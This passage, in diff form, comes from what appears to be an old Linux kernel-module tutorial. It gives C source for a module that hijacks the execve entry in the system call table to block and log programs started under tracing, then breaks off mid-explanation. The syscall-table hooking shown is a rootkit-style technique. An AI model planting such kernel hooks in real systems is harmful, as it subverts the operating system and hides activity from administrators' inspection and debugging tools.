+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+int __NR_myexecve;
+
+int (*orig_execve) (const char *, const char *[], const char *[]);
+
+char *strncpy_fromfs(char *dest, const char *src, int n)
+{
+ char *tmp = src;
+ int compt = 0;
+
+ do {
+  dest[compt++] = __get_user(tmp++, 1);
+ }
+ while ((dest[compt - 1] != '\0') && (compt != n));
+  return dest;
+}
+
+int my_execve(const char *filename, const char *argv[], const char *envp[])
+{
+ long __res;
+ __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
+                  (filename)), "c"((long) (argv)), "d"((long) (envp)));
+ return (int) __res;
+}
+
+
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
+{
+ int ret, tmp;
+ unsigned long mmm;
+ char *kfilename;
+
+ /*check for the flags*/
+ if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { 
+  /*we are traced, so print the traced process (program name) and return
+  without execution*/
+  kfilename = (char *) kmalloc(256, GFP_KERNEL);
+  (void) strncpy_fromfs(kfilename, filename, 255);
+  printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
+  kfree(kfilename);
+  return 0;
+ }
+ ret = my_execve(filename, argv, envp);
+ return ret;
+}
+
+int init_module(void)                /*module setup*/
+{
+ __NR_myexecve = 200;
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
+  __NR_myexecve--;
+ orig_execve = sys_call_table[SYS_execve];
+ if (__NR_myexecve != 0) 
+ {
+  sys_call_table[__NR_myexecve] = orig_execve; 
+  sys_call_table[SYS_execve] = (void *) hacked_execve;
+ }
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_execve]=orig_execve;                                      
+}
+<xmp>
+
+This LKM also logs any executable someone wanted to execute with tracing. Well
+this LKM checks for some flags, but what if you start tracing a program which
+is already running. Just imagine a program (shell or whatever) running with the
+PID 185